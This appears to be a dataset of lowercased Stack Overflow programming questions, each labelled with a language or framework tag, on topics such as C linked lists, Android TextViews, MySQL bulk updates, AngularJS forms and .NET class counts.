ng-show,angularjs
how to write a generalized multi level linked list   a linked list of type    <pre><code>1- 3- 4 - ... -10 |  |  | ...     | 10 20 3 ...     40 .  .  .          . .  .  .          . </code></pre>   i have written 2 structures    <pre><code>struct flat{     int data;     struct flat *next;     struct flat *down; };  struct flat1{     int data;     struct flat1 *next; }; </code></pre>   one for horizontal list and one for the vertical ones.but while proceeding to creation of linked list came to know that incompatible assignments from flat to flat1 are there.     how to write generalized code in a single structure,c
gettext returning null value on a textview  i ve a textview in my app with no initial value. this textview is updated with firebase <code>datasnapshot</code> value. now the problem is this textview is returning null value even when it has been updated with datasnapshot value.  my logic is  i need to compare my previous value updated in textview with new <code>datasnapshot</code> value. if both value differs i need to send a notificaton.  so how can i get textview value from a textview which is updated with firebase <code>datasnapshot</code>  or what could be the easiest approach for achieving it     edit:    here s my code   <pre><code>  //this view is initialised in oncreate. adding just for reference   textview tv= view.findviewbyid(r.id.mytextview);    mfirebasedatabaseinstance.getreference( mgs ).addvalueeventlistener(new valueeventlistener() {         @override         public void ondatachange(datasnapshot datasnapshot) {             //    log.d(tag   app title updated );                  textview tv= getactivity().findviewbyid(r.id.mytextview);                 string newvalue = datasnapshot.getvalue(string.class);                  tv.settext(bhaw);                     if (!newvalue.equals(tv)) {                  sendnotification( msg );              } </code></pre>,android
html:how to add a link in the child page to (one of the) parent(s) using relative path  i have a local hierarchy of folders  each folder have some html files. the  parent  files (the outer ones) contain links to the  child  files (in this case - a single level link - the parent links to its dirrect child) so the hierarchy is like some kind of a tree.    i want to add a link in the top of every page that will point to the parent page (the  inxed.html  file).    my code uses relative path (so there will be a possibility to move the folder and it will still work)     example:   <pre><code>  .\index.html   .\folder1\p1.html   .\folder1\folder2\p2.html </code></pre>   i want the possibility to have a link in the  folder1\folder2\p2.html  file that will to up the tree and will open the  index.html  page.    i preffer using html only (if pissible)    any idea,html
number of classes in .net   what is the total number of classes in .net  the number that is in the downloaded runtime for .net 2.0  .net 3.0 and .net 3.5 sp1.    we are writing a scientific paper about an application that is based on .net and currently state that there are more than 6000 classes. but i am not sure if this is the correct number.    for instance <a href= http://codebetter.com/blogs/patricksmacchia/archive/2008/08/13/net-3-5-sp1-changes-overview.aspx  rel= nofollow noreferrer >this page</a> states the number of assemblies  namespaces  methods  etc.  but not the number of classes.    test platform: windows xp 64 bit sp2  8 gb ram.   <hr>   <strong>update 4</strong>: our paper has been published! i used 9911 for the number of classes (see update 3 below). the journal is <a href= http://en.wikipedia.org/wiki/journal_of_proteome_research  rel= nofollow noreferrer >journal of proteome research</a> and the title is:  <a href= http://pubs.acs.org/doi/abs/10.1021/pr900721e  rel= nofollow noreferrer >msquant  an open source platform for mass spectrometry-based quantitative proteomics</a> . unfortunately the full text of the paper is not freely available  only the abstract.    <strong>update 3</strong>: i think i have come very close to a solution now: 9911 public classes for .net 3.5 sp1. extending on update 1  i have made the function recursive and extended it so the number of types  classes and public classes are reported for any sub-folder and its subfolders.  running this on c:\windows\microsoft.net  gives 40414 types  only 0.2 % from the number in the <a href= http://codebetter.com/blogs/patricksmacchia/archive/2008/08/13/net-3-5-sp1-changes-overview.aspx  rel= nofollow noreferrer >referenced article</a>.  <a href= http://pmortensen.eu/1/until2039-12-31/so/dornetassembliessummary.html  rel= nofollow noreferrer >full transcript</a> - html source is tab separated so it can be imported into  a spreadsheet  e.g. <a href= http://en.wikipedia.org/wiki/openoffice.org_calc  rel= nofollow noreferrer >openoffice calc</a>. here is a break-down for public classes:   <pre><code>framework:    total: 6025      v1.1.4322       0      v2.0.50727       5265      v3.0       641      v3.5       119  framework64:    total: 3886      v2.0.50727       3126        v3.0       641      v3.5       119 </code></pre>   <strong>update 2</strong>: i tried using ndepend and cql suggested by lextm and it gave a 10% higher number for .net 2.0 (89 dlls in c:\windows\microsoft.net\framework\v2.0.50727): 5855 classes. this was on a different system than for the programmatic solution (see below).    procedure:   <ol> <li> download ndepend (ndepend_2_12_1_3122.zip)  via <a href= http://www.ndepend.com/ndependdownload.aspx  rel= nofollow noreferrer >http://www.ndepend.com/ndependdownload.aspx</a> </li> <li> unzip with 7-zip </li> <li> run visualndepend.exe </li> <li> menu file/select .net assemblies to analyze/ &lt;selected the 89 dll files in c:\windows\microsoft.net\framework\v2.0.50727&gt;/ &lt;selected all&gt;/ ok. </li> <li> press  create query  (lower right) and type/paste:    select types from assemblies  accessibility    cscompmgd    custommarshalers    ieexecremote    iehost    iiehost    isymwrapper    microsoft.build.engine    microsoft.build.framework    microsoft.build.tasks    microsoft.build.utilities    microsoft.jscript    microsoft.visualbasic    microsoft.visualbasic.compatibility    microsoft.visualbasic.compatibility.data    microsoft.visualbasic.vsa    microsoft.visualc    microsoft.vsa    microsoft.vsa.vb.codedomprocessor    microsoft_vsavb    mscorlib    sysglobl    system    system.configuration    system.configuration.install    system.data    system.data.oracleclient    system.data.sqlxml    system.deployment    system.design    system.directoryservices    system.directoryservices.protocols    system.drawing    system.drawing.design    system.enterpriseservices    system.management    system.messaging    system.runtime.remoting    system.runtime.serialization.formatters.soap    system.security    system.serviceprocess    system.transactions    system.web    system.web.mobile    system.web.regularexpressions    system.web.services    system.windows.forms    system.xml  where ispublic and isclass </li> </ol>  <hr>   <strong>update 1</strong>: based on jon skeet s answer i have developed a  function (listed below). the preliminary result is 5265  public classes  12626 classes in total  18317 types for .net  2.0. 802 public classes from mscorlib.dll and 678 public  classes from system.dll. this is from 89 dll files of which  40 fails with assembly.loadfrom(). but i am not sure i  measure the right thing or in the right place.    call:   <pre><code>dotnetclasscount( c:\windows\microsoft.net\framework\v2.0.50727 ) </code></pre>   function:   <pre><code>imports system.reflection  for assembly imports system.io  for path  private function dotnetclasscount(byref abasedirectory as string) _   as integer      dim classcount as integer = 0      dim failcount as integer = 0  for statistics only.      dim folderitems as string() = directory.getfiles(abasedirectory)     dim somefolderitem as string     for each somefolderitem in folderitems          dim filename as string = path.getfilename(somefolderitem)          if path.getextension(filename) =  .dll  then             try                 dim asm3 as assembly = _                   assembly.loadfrom(somefolderitem)                 dim types as system.type() = asm3.gettypes()                  dim dllclasscount as integer = 0                 dim sometype as system.type                 for each sometype in types                     if sometype.isclass andalso sometype.ispublic then                         dllclasscount += 1                     end if                 next                 classcount += dllclasscount             catch ex as exception                  fail silently...                 failcount += 1             end try         end if     next     return classcount end function  dotnetclasscount() </code></pre>,.net
how does c parse command line arguments   i m curious as to what c does exactly to parse command line arguments. for example  assume i have a program named <code>myprogram</code> that takes in two arguments like this   <pre><code>./myprogram arg1 arg2 </code></pre>   if i were to call   <pre><code>./myprogram arg1$ \0otherstuff  arg2 </code></pre>   <code>arg1</code> and <code>arg2</code> would still print if we were to print <code>argv[1]</code> and <code>argv[2]</code>  ignoring <code>$ \0otherstuff </code>  but where does it go  is it store in memory behind <code>arg1</code>  could it potentially overwrite any buffer  how is <code>arg2</code> read if there s a <code>null</code> character before it,c
update query for 110 million records won t finish  we are using mysql. we have a very long table (110m * 7) and we regularly add in new records to this table (when doing that  we upload csv files so never a really painful process even large # of records).    now we need to add a new column to this table to distinguish the records in some way. to be specific  the most recent added about 10 million records will be flagged as type 2 and all the old records will be flagged as type 1. and in the future  we will be putting in new records for both types.    at first  we tried the approach 1 as below  but it ran for more than 24 hours without complaining anything and the host server has always been responsive.   <pre><code>-- ==================================================== -- start of approach 1 -- ====================================================  -- add column. alter table    bond_price  add    bp_name_version smallint  ;   -- set value 1 for bond_character types. update    bond_price  set    bp_name_version = 1  where    bp_serial_id &lt; 107480325  ;   -- set value 2 for bond_character_eikon types. update    bond_price  set    bp_name_version = 2  where    bp_serial_id &gt;= 107480325  ;   -- set a not null constrain on the new column alter table    bond_price  alter    bp_name_version set not null  ;   -- ==================================================== -- end of approach 1 -- ==================================================== </code></pre>   we lost our faith after 24 hours  thinking setting a conditional clause might has made it difficult for such a long table. so we tried approach 2 which is doing approach 1 step by step and without conditional clause.    so we firstly execute the following query and it finished within seconds.   <pre><code>-- add column. alter table    bond_price  add    bp_name_version smallint  ; </code></pre>   we then execute the following query to put value 1 to all records  hoping later on we can change the value for only 10 million records to 2.   <pre><code>-- set value 1 for all records. update    bond_price  set    bp_name_version = 1; </code></pre>   but this query has run for over 24 hours till now  again without complaining for anything.    we have been monitoring the server by:   <pre><code>select * from pg_stat_activity; </code></pre>   and the  set value 1  query is still active and the server is still very responsive.    our questions:   <ol> <li>is this speed what one should expect  considering the record number is over 100 million </li> <li>is there a possibility that this query will not work but just get stuck forever  is there anyway to tell </li> <li>is there anyway to improve the speed  or do it a different way </li> </ol>   many thanks in advance!,mysql
what is the use cases for nested function declarations in php  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/415969/what-are-php-nested-functions-for >what are php nested functions for </a>    </blockquote>     php allows nested function declarations like so:   <pre><code>function foo() {     function bar() {         return  bar ;     }     return  foo ; } </code></pre>   but what are the use cases for such a syntax  the inner <code>bar</code> is put to global namespace so so it s not garbage collected  is usable from outside the outer function and provides a lot of confusion and possible bugs. for example calling the <code>foo</code> twice results in an error  unless you wrap the declaration inside a <code>if(!is_callable( bar ))</code>.    using nested declarations to create conditional declarations is not good either  because of the confusion it creates.  why is it complaining that there is no such function  when it works perfectly fine in there ! ! .,php
avoiding the default  \n  with cout <pre><code>cout&lt;&lt; \nenter date of birth ; cin&gt;&gt;date; cout&lt;&lt; - ; cin&gt;&gt;month; cout&lt;&lt; - ; cin&gt;&gt;year; </code></pre>   in this code  i want the input to be taken as <code>25-02-1994</code>(the dashes appear automatically after the preceding value is entered).but instead a  <code>\n</code>  is appended automatically and the input is taken as   <pre><code>enter date of birth25 ( \n )-02 ( \n )-1994 </code></pre>   i had to mark ( <code>\n</code> ) to mark that the dashes appear on a new line.any suggestions,c++
how to make sure $http.get in service completes before directive is initialized with data   how do i make it such that all the data  myservice  needs to retrieve is retrieved before my  control  directive is created or some function to actually add those items is called  if not  is there some other recommended way involving controllers  etc. have yet to see a basic example of similar sequence. note that data may have more values added to it via other functions  in which a method would have to be called explicitly for those new data elements.    service:   <pre><code>// var app = angular.module... app.service( myservice   function($http) {     this.data = [];      // called once to first initalize the data     $http.get( data.json ).then(function data(response) {       this.data.push(response);             }  }) </code></pre>   directive (with its own isolate controller  or point to the main app controller) :   <pre><code>mydirective.directive( control   [ params    myservice   function(params  myservice) {      // call on a method  adddata(myservice.data) when the data is actually loaded }]); </code></pre>,angularjs
displaying one graph per day  home screen style  i m working on an app that can display a graph with some data  one every day. i ll call this  daygraph .    i d like to build an interface similar to the iphone home screen  aka pagecontrol  with one daygraph per page. (but i don t need the small dots!)    i tried with the standard pagecontrol example from apple  and it s working  but only with a small number of pages. i need to display even 100 possible daygraph  if the user wants  but the pagecontrol is going crazy when the page number exceed 50.    i know that the photo app is doing a similar thing  and it can work with many photos.    my question is: how can i do that  is there any  apple way  of doing it  or i should begin to make my own method for swapping the daygraphs     thank you very much!,iphone
sql error #1064 when importing data  this is the error   <pre><code>sql query:  update table `tblclients` ( `id` int(10) not null auto_increment    `firstname` text not null  `lastname` text not null  `companyname` text not null  `email` text not null  `address1` text not null  `address2` text not   null  `city` text not null  `state` text not null  `postcode` text not null    `country` text not null  `phonenumber` text not null  `password` text not null  `currency` int(10) not null  `defaultgateway` text not null    `credit` decimal(10 2) not null  `taxexempt` text not null  `latefeeoveride` text not null  `overideduenotices` text not null    `separateinvoices` text not null  `disableautocc` text not null    `datecreated` date not null  `notes` text not null  `billingcid` int(10) not   null  `securityqid` int(10) not null  `securityqans` text not null    `groupid` int(10) not null  `cardtype` varchar(255) not null default       `cardlastfour` text not null  `cardnum` blob not null  `startd[...]    mysql said: documentation #1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  table `tblclients` (   `id` int(10) not null auto_increment    `firstname` tex  at line 1  </code></pre>   and this is my table thats being imported    <pre><code> update table `tblclients` (     `id` int(10) not null auto_increment      `firstname` text not null      `lastname` text not null      `companyname` text not null      `email` text not null      `address1` text not null      `address2` text not null      `city` text not null      `state` text not null      `postcode` text not null      `country` text not null      `phonenumber` text not null      `password` text not null      `currency` int(10) not null      `defaultgateway` text not null      `credit` decimal(10 2) not null      `taxexempt` text not null      `latefeeoveride` text not null      `overideduenotices` text not null      `separateinvoices` text not null      `disableautocc` text not null      `datecreated` date not null      `notes` text not null      `billingcid` int(10) not null      `securityqid` int(10) not null      `securityqans` text not null      `groupid` int(10) not null      `cardtype` varchar(255) not null default         `cardlastfour` text not null      `cardnum` blob not null      `startdate` blob not null      `expdate` blob not null      `issuenumber` blob not null      `bankname` text not null      `banktype` text not null      `bankcode` blob not null      `bankacct` blob not null      `gatewayid` text not null      `lastlogin` datetime default null      `ip` text not null      `host` text not null      `status` enum( active   inactive   closed ) not null default  active       `language` text not null      `pwresetkey` text not null      `pwresetexpiry` int(10) not null      primary key (`id`)      key `firstname_lastname` (`firstname`(32) `lastname`(32))      key `email` (`email`(64))   ) engine=myisam auto_increment=916 default charset=latin1;   ;   </code></pre>,mysql
assign values to object properties by id  i have a global list of objects used to hold values  values along with the ids will be parsed into the <code>objectmanager</code> function  the ids can only ever be what is stated in the list. i want the function to update the value that corresponds to the <code>id</code>.     initially i tried to use a foreach loop which wasn t updating the objects in the list. using the below code does update the objects in the list  but it only checks for the id that s parsed in  i am now trying this with a switch statement  early days.    what is the best way of achieving what i m trying to do     <strong>sample code:</strong>   <pre><code>public list&lt;object&gt; obj = new list&lt;object&gt;             {                 new object { id = 4  val = 20 }                  new object { id = 1  val = 34 }                  new object { id = 16  val = 27 }                  new object { id = 9  val = 36 }             };  public void objectmanager(list&lt;object&gt; myobj  int id  int val) {     int i = 0;     int j = 0;     while (i &lt; myobj.count)     {         if(myobj[i].id == id)         {             j = myobj[i].val;             myobj[i].val = j + val;          }     } } </code></pre>,c#
what is char ** in c  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/604099/what-is-double-star >what is double star </a>    </blockquote>     i am fairly new to c  and have come across this statement   <pre><code>typedef char **treetype </code></pre>   i have a pretty good idea of what typedef does  but i have never seen char** before.  i know that char* is a char array or similiar to a string.  im not sure if char** is a 2d char array or if it is the pointer to a character array.  i have looked around but cannot find what it is.  if you could please explain what a char** is or point me in the right direction it would be very much appreciated.      thanks! :),c
what is an angular state   i am from asp.net world  trying to understand what an angular state mean.     what is an angular state  is it similar to an ascx component in asp.net   is it a sub page  is it similar to a workflow state       i heard many people talking about it  and i have been trying to search for articles which explains what a state is or does  but cannot find a good one for the beginner.     do any of you know any good article  could you please help me to grab/understand the concept of angular state  thanks a lot. :-),angularjs
sql query to add or subtract values based on another field  i need to calculate the net total of a column-- sounds simple. the problem is that some of the values should be negative  as are marked in a separate column. for example  the table below would yield a result of (4+3-5+2-2 = 2).  i ve tried doing this with subqueries in the select clause  but it seems unnecessarily complex and difficult to expand when i start adding in analysis for other parts of my table. any help is much appreciated!   <pre><code>sign     value pos        4 pos        3 neg        5 pos        2 neg        2 </code></pre>,sql
toggle navigation isn t working  i have tried just about everything to get the toggle navigation to work and i have had no luck. is it just a simple mistake or piece of code i m missing  i have tried loading different scripts but still nothing.   <pre><code>&lt;nav class= navbar navbar-inverse navbar-fixed-top  role= navigation  style= background-color: #f2f2f2 &gt;     &lt;div class= container &gt;         &lt;div class= navbar-header &gt;             &lt;button type= button  class= navbar-toggle                      data-toggle= collapse  data-target= #nav-collapse  style= margin-top: 20px; &gt;                 &lt;span class= sr-only &gt;toggle navigation&lt;/span&gt;                 &lt;span class= icon-bar &gt;&lt;/span&gt;                 &lt;span class= icon-bar &gt;&lt;/span&gt;                 &lt;span class= icon-bar &gt;&lt;/span&gt;             &lt;/button&gt;             &lt;a href= #/home  class= navbar-brand &gt;                 &lt;img src= img/evodent-logo.png  alt= evodent-logo  style= width:190px; &gt;             &lt;/a&gt;         &lt;/div&gt;         &lt;div class= collapse navbar-collapse  id= nav-collapse &gt;             &lt;ul class= nav navbar-nav navbar-right &gt;                 &lt;li&gt;                     &lt;a href= #/about  style= color: black; &gt;about&lt;/a&gt;                 &lt;/li&gt;                 &lt;li&gt;                     &lt;a href= #/contact  style= color: black; &gt;contact&lt;/a&gt;                 &lt;/li&gt;             &lt;/ul&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/nav&gt; </code></pre>,html
how to sort a set of squares one next to other in icreasing size order along the x axis in c#  <pre><code>using system.collections.generic; internal class square     {     private double m_lenght ;     private double m_positionx ;     private double m_positiony ;     public square ( double p_length )         {         m_lenght = p_length ;         m_positionx = 0 ;         m_positiony = 0 ;         }     public void setposition ( double p_positionx   double p_positiony )         {         m_positionx = p_positionx ;         m_positiony = p_positiony ;         }     public double getlenght ()         {         return m_lenght ;         }     public static void organisesquares ( list &lt;square&gt; pio_squares)         {         // your code here         } } </code></pre>,c#
display video frame in mobile  how to display the frame of video in mobile    <pre><code>&lt;video width= 100%  height= 100%  type= video/mp4 &gt;     &lt;source src= {{ asset( videos/home_1.mp4 ) }}  type= video/mp4 &gt; &lt;/video&gt; </code></pre>   the actual output (ios): <a href= https://i.stack.imgur.com/l7kvp.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/l7kvp.jpg  alt= enter image description here ></a>    in android it doesn t even display a play button so the user might not know there is a video can be played.,html
i want to add 4 different conditions in html select box  here is my html code:   <pre><code>&lt;select name= field &gt;     &lt;option value= camera &gt;camera&lt;/option&gt;     &lt;option value= clothing &gt;clothing&lt;/option&gt;     &lt;option value= coins &gt;coins&lt;/option&gt;     &lt;option value= mobile &gt;mobiles&lt;/option&gt; &lt;/select&gt; </code></pre>   now i want  if i select camera then i will redirect to another page may be camera.html page. similarly if i select clothing then i will redirect to another page may be clothing.html page in the same way for other 2 options as well i want same functionality.     it will be easy for me if ill use 4 different links for these using  tag but i want this done using a submit button of the form. i want to do this thing with select box and on-submit call rather then 4 different links..    so i badly need help regarding this.. please help me and explain me this with code so i can understand how can i achieve this,html
how to change orientation to landscape on button event  how to change orientation to landscape on button event,iphone
representing hierarchical relationship  can you suggest me  how can i represent the  hierarchical relationship through  java class   you are welcomed to suggest other techniques.    for  instance    user specifies  that   <pre><code>        room  belongs-to  floor  and   floor  belongs-to  center  </code></pre>   i want to represent this relationship as java class  and  later want to retrieve this relationship.    -pankesh,java
cache an html file on the client  in some of my pages i have  templates . for example  i might have a table  and i have a  template  for each row in the table   <pre><code>&lt;div class= wholerow &gt;&lt;div class= lefcol &gt;&lt;!-- some stuff will go here --&gt;&lt;/div&gt;... </code></pre>   then i use js to fill out this table. it s a bit silly though that the user has to load this template every single time they visit the page - i should be able to cache it.     i m not sure how to go about caching it though; the only thing i can think of is put it in a static javascript file and wrap it all with <code>document.write</code>  but that seems kind of  well  stupid. does anyone have other ideas,html
prevent the loading of images <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2784418/lazy-load-images-when-they-come-into-the-viewport >lazy load images when they come into the viewport</a>    </blockquote>     how can i prevent the loading of all image data in a long grid of images  but only loading the visible images. the others should be loaded on demand  when the potion of the grid they re in gets within the visible area of the screen.,javascript
how to name nested controllers and routes   i m working on creating a wiki app from scratch with the following organization:    main controller: wiki nested controller: wikicategories nested controller: wikiarticles    in my config/routes.rb i have:   <pre><code>resource :wiki do   resources :wiki_categories  :as =&gt; :categories   resources :wiki_articles  :as =&gt; :articles end </code></pre>   i ve chosen to name the categories and articles controllers as wikicategories and wikiarticles to differentiate from other category and article controllers that i want to make in the future under a blog nesting.     this gives me the following routes:   <pre><code>/wiki/wiki_categories/new /wiki/wiki_articles/new </code></pre>   is there any way to rewrite the routes to be:   <pre><code>/wiki/categories/new /wiki/articles/new </code></pre>   ... while still using the wikicategories and wikiarticles controller names,ruby-on-rails
different nsdata initwithdata alloc behavior under ios7 and previous  i have the following syntax:   <pre><code>utf16char buffer[16]; for(int i = 0; i &lt; 16; i++){     buffer[i] =    ; }  nsdata *data1 = [[nsdata alloc] initwithbytes: buffer length : sizeof(utf16char) * 16 ]; nsdata *data2 = [[nsdata alloc] initwithdata: data1];  bool samesrc = data1bytes == data2.bytes; nslog ( @ equals: %d    samesrc); </code></pre>   in ios6 *date1 and *date2 indicates two different addresses  but in ios7 points to the same address. is this behavior expected and <code>initwithdata</code> behaves correctly     apple library says:   <blockquote>    a data object initialized with the contents data. the returned object might be different than the original receiver.  </blockquote>   so i assume that the data is copied from date1 to initialize date2 object. is that correct,objective-c
dispose() on asp.net pages  i have asp.net web site and i get a session id from a web service where i am going to use throughout rest of pages.  i am passing this session id between pages to peform some action.  what i am trying to achieve is that i want to make sure i release this session id from the web service by calling it s logout method when the user closes a page.  i am thinking to add dispose() on each page and call the logout method.  does dispose() get called when the user closes a page (browser)   or  how can i call the logout method when a page is closed     thanks.,asp.net
finding a string in txt file  building a c program and could use a helpful hand. making a data structure  where i can fill in user information  like name  surename  gender etc etc and all goes in to a text file. everything except one thing is working fine.    part of the main   <pre><code>int main() { file *fp; struct info {   char name[15];   char surename[15];   char gender[10];   char education[15];  } info;  char education1[50]; </code></pre>   then goes non important part of the code  until we get to the point where if user so desires he can choose to show only registers with for example bachelors degrees. this is how far i ve gotten to make it happen but it does not work. any ideas    <pre><code>file *fp=fopen( info.txt    a );   while(fp!=null &amp;&amp; fgets(education1  sizeof(eductaion1) fp)!=null)   {                  if(strstr(education1  bachelors ))                 fprintf(fp   \n%s %s %s %s                   sem.name                  sem.surename                  sem.gender                  sem.education );                 if(fp!=null) fclose(fp);       } </code></pre>,c
angular js: pass a forms select option value to database not working  i currently have a form with a <code>&lt;select&gt;</code> and options as below. i am trying to pass the values into my db  but when running the app category is coming out as undefined. the form is using ng-controller= eventctrl     form select code below.   <pre><code>&lt;div class= input-field col s5 &gt;  &lt;select class= browser-default &gt;   &lt;option value=   disabled selected&gt;choose your category&lt;/option&gt;   &lt;option value= mountain  ng-model= category &gt;mountain&lt;/option&gt;   &lt;option value= forest  ng-model= category &gt;forest&lt;/option&gt;   &lt;option value= beach &amp; sea  ng-model= category &gt;beach &amp; sea&lt;/option&gt;   &lt;option value= fresh water  ng-model= category &gt;fresh water&lt;/option&gt;   &lt;option value= aero  ng-model= category &gt;aero&lt;/option&gt;   &lt;option value= desert  ng-model= category &gt;desert&lt;/option&gt;  &lt;/select&gt; &lt;/div&gt; </code></pre>   eventctrl code below.   <pre><code>angular.module( socialapp )  .controller( eventctrl   function($scope  $http) {   $scope.createevent = function() {    $http.post( /events/createevent   {     title: $scope.title      category: $scope.category      city: $scope.city      state: $scope.state      date: $scope.date      time: $scope.time      description: $scope.description   })   .then(function(result) {     console.log(result.data.status);     console.log(result);   })  }; }); </code></pre>   i am so lost with this please help!,angularjs
iphone encoding removes part of string  in my application while parsing the xml i have a string in the foundcharacters delegate of xml parser. the actual string is  aoyama-itchōme station  but when i apply the encoding i get it as  ōme station . the first part of the string is lost. i tried different encodings but nothing worked for me. does anyone have an idea about what is the cause     here is my code:    <pre class= lang-cpp prettyprint-override ><code>- (void)parser:(nsxmlparser *)parser foundcharacters:(nsstring *)string {     if(titleflag)     {        if(string)        {            objplace.title   =   [string stringbyreplacingpercentescapesusingencoding: nsutf8stringencoding];        }     }  } </code></pre>,iphone
calculate unique records in sql join  below query gives 400 record out of which 20 records is same based on upc. in other words i want 20 distinct records based on upc. how can i do it       <pre><code> select tc.chainid tc.upc tc.supplierinvoicenumber pc.datetimecreated      from #tmpcomparedata tc      left join productcatalog pc     on tc.productid=pc.productid  </code></pre>,sql
java -classpath directory traversal  <strong>given the following directory structure:</strong>    x-|   <pre><code>     |- godeep.class |       |- test-|                |- myjar.jar |              |- myapp-|                       |-foo.java                       |-foo.class </code></pre>   and given the contents of godeep.java and foo.java:   <pre><code>3. public class godeep { 4. public static void main(string[] args) { 5. system.out.println(myapp.foo.d); 6. } 7. }  3. package myapp; 4. public class foo { public static int d = 8; } </code></pre>   and myjar.jar contains the following entry:    myapp/foo.class    if the current directory is x  which commands will successfully execute godeep.class and produce the output 8  (choose all that apply.)    a. java godeep    b. java -classpath . godeep    c. java -classpath test/myjar.jar godeep    d. java godeep -classpath test/myjar.jar    e. java godeep -classpath test/myjar.jar:.    f. java -classpath .:test/myjar.jar godeep    g. java -classpath test/myjar.jar:. godeep    i think answer should be b) f) and g). however  book says f) and g). i know that when we use  java    both files (godeep and foo) must be checked in classpath set as a default (i.e  x). whereas in case of  javac  it will only search a file which is needed (foo) to execute our original file(godeep) ; the original file is not been searched in classpath. if i am wrong please correct me.    in option b) we used  java -classpath . godeep  and our current directory is x. then using (.) it will check in current directory. in this case both files are available in x directory then why its not correct option     thanks in advance. question is from scjp6,java
repeating posts in index view  i am trying to sort my questions by number of upvotes using the acts_as_votable gem. everything sorts fine except it displays the whole set of questions n times where n is the # of questions. eg. i post 3 questions a b and c  it will display abc abc abc.     here is my view code:   <pre><code>&lt;% @comment.questions.order( cached_votes_up desc ).each do |question| %&gt; </code></pre>   and here is my controller code:   <pre><code>def upvote @question = question.find params[:id] @question.liked_by current_user redirect_to comment_questions_path end  def index @comment = comment.find params[:comment_id] @questions = @comment.questions end </code></pre>   <a href= https://github.com/sideofwhite/omrails  rel= nofollow >github</a>    appreciate the help!,ruby-on-rails
can i call a vb.net dll from a c#.net dll   simple yes/no question : can i call a vb.net function compiled in a vb.net dll from a c# function compiled in its own c# dll  running in the same application.,.net
check if sound is playing  i have a button that plays a sound and i want to prevent users from tapping the button multiple times and having the sound play more than once. i need a way to check if a sound is already being played when the button is pressed and if so  don t play it.    i suppose i could start a time when the button is pushed that is the exact length of the audio file  but that doesn t seem like an efficient way to do it  especially with multiple audio files.    thanks  chase,iphone
how to identify iphone   ipad  ipod touch  iphpne simulator while programming in 3.2 version   am unable to identify the device models (iphone   ipad  ipod touch  iphpne simulator) while programming (in 3.2 version). alreay am tried with uidevice class and some other means  but am unable to get model as ipad when connected to ipad. every time it is giving model other than ipad. so can any one please help me out. thank you.,iphone
jquery hiding more content than it should  i ve been working on some updates to my forum page category listing.    i ve made extensive structural changes to make use of html5 and this has made it necessary to change the jquery that shows/hides the categories per title.    here s the new jquery and html5 structure:    <a href= http://jsfiddle.net/lyoung/jlves/1/  rel= nofollow >http://jsfiddle.net/lyoung/jlves/1/</a>   <pre><code>&lt;div class= t &gt;     &lt;h2&gt;&lt;a href= #  class= sh &gt;-&lt;/a&gt; gaming&lt;/h2&gt; &lt;/div&gt; &lt;section&gt;     &lt;div class= cat &gt;         &lt;p&gt;&lt;a class= catlnk  href= display.php cat=general-gaming&amp;page=1 &gt;general gaming&lt;/a&gt;&lt;span&gt;no work here  just play!&lt;/span&gt;&lt;/p&gt;     &lt;/div&gt;     &lt;div class= cat &gt;         &lt;p&gt;&lt;a class= catlnk  href= display.php cat=world-of-warcraft&amp;page=1 &gt;world of warcraft&lt;/a&gt;&lt;span&gt;wow specific discussion. no other games please.&lt;/span&gt;&lt;/p&gt;     &lt;/div&gt; &lt;/section&gt; </code></pre>   and the jquery i m using:   <pre><code>$( .sh ).click(function() {     var show = ($(this).text() ===  + );      if (show) {         $(this).parent().parent( div ).siblings( section ).fadein(500);     }     else {         $(this).parent().parent( div ).siblings( section ).fadeout(500);     }     $(this).text(show    -  :  + ); }); </code></pre>   the weird thing is that this works perfectly fine on the jsfiddle. it does exactly what i m expecting it to do  but on <a href= http://loganyoung.za.net/forum/  rel= nofollow >my webpage</a>  it shows/hides all the categories.    can anyone help me to figure out why and offer a solution,jquery
casting a person object to string giving class cast exception  i have made a class of person object which is implementing serializable interface  which contains fname lname phone address in its constructor  and i am storing the objects of this class in  .dat  file by streams  i wanna display these contacts on gui so when i try to cast person to a string it gives classcastexception  i will be thankful if someone will help.    this is a constructor:   <pre><code>public person(string fname  string lname  string add  string ph) {     //super();     this.fname = fname;     this.lname = lname;     this.add = add;     this.ph = ph; }   </code></pre>   and this is gui class code:   <pre><code>public void windowopened(windowevent e) {      fileinputstream fis;     objectinputstream ois;      try {         fis = new fileinputstream( person.dat );         ois = new objectinputstream(fis);         person p = (person) ois.readobject();         string obj = (string) p.tostring(); // giving error at this line         stringtokenizer str = new stringtokenizer(obj     );          textfield.settext(str.nexttoken());         textfield_3.settext(str.nexttoken());         textarea.settext(str.nexttoken());         // system.out.println(p);         ois.close();         fis.close();     } catch (exception ee) {         system.out.println( cannot read file  + ee.getmessage());         ee.printstacktrace();     } } </code></pre>,java
function to return distinct values in a 2d array  i have the following 2d array   <pre><code>var items = [[ al   bv   sd ]               [ al   cc   ab ]               [ cv   vv   sw ]               [ al   bv   sd ]             ]; </code></pre>   i need a function which will return me a similar array but with distinct values. for example  in the above array  <code>[ al   bv   sd ]</code> happens twice.    i would like the function to return me:   <pre><code>var items = [[ al   bv   sd ]               [ al   cc   ab ]               [ cv   vv   sw ]             ]; </code></pre>,javascript
in-memory objects index in .net  i would like to create a quicksearch in my application.    let s say i have a class:   <pre><code>public class venue {     public virtual string longname { get; set; }     public virtual string shortname { get; set; }     public virtual string market { get; set; }     public virtual int clientemail { get; set; } } </code></pre>   and i would like to index a set of this (and other) objects.    the idea it that user will type some data into textbox  and  in-memory index  will accept that string  and return all objects that contain searched value in one or more properties.    is there a out of the box solution in .net for such a thing  or library  or whatever     thanks,.net
sensorservicemanager simply does not work within an android intentservice  i have the openintent sensorservicemanager based code working within an android activity class  however i simply receive no events when using it from with an android intentservice class methods.    will this class only receive events when defined and run within an android activity class   .    if no  ie it runs anywhere  could somebody please send me an intentservice based code segment so i can see how my code differs.    so incredibly frustrating :-(    thanks in advance ladies and gents.,android
